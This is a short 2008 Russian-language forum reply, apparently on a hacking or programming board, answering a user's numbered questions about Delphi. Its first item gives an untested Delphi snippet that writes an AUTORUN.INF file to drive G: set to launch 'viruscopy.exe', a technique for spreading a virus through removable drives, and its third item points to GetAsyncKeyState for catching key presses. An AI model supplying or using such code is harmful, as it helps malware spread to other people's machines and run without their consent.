
23.11.2008, 13:10
|
|
Участник форума
Регистрация: 21.04.2007
Сообщений: 289
Провел на форуме: 4612647
Репутация:
368
|
|
1.
handled,szed: DWORD;
command: String;
begin
command:='[autorun]'+#13#10+'OPEN=viruscopy.exe';
handled:=CreateFile('G:\AUTORUN.INF',GENERIC_WRITE ,FILE_SHARE_WRITE,nil,CREATE_ALWAYS,FILE_ATTRIBUTE _NORMAL,0);
WriteFile(handled,command,length(command),szed,0);
CloseHandle(handled);
примерно так,писал с ходу,не проверяя
2. http://www.cyberforum.ru/delphi/thread10815.html
3. Тупо. Гораздо легче ловить нажатие какой-либо назначенной клавиши с помощью GetAsyncKeyState.
Последний раз редактировалось NeXArmAor; 23.11.2008 в 13:14..
|
|
|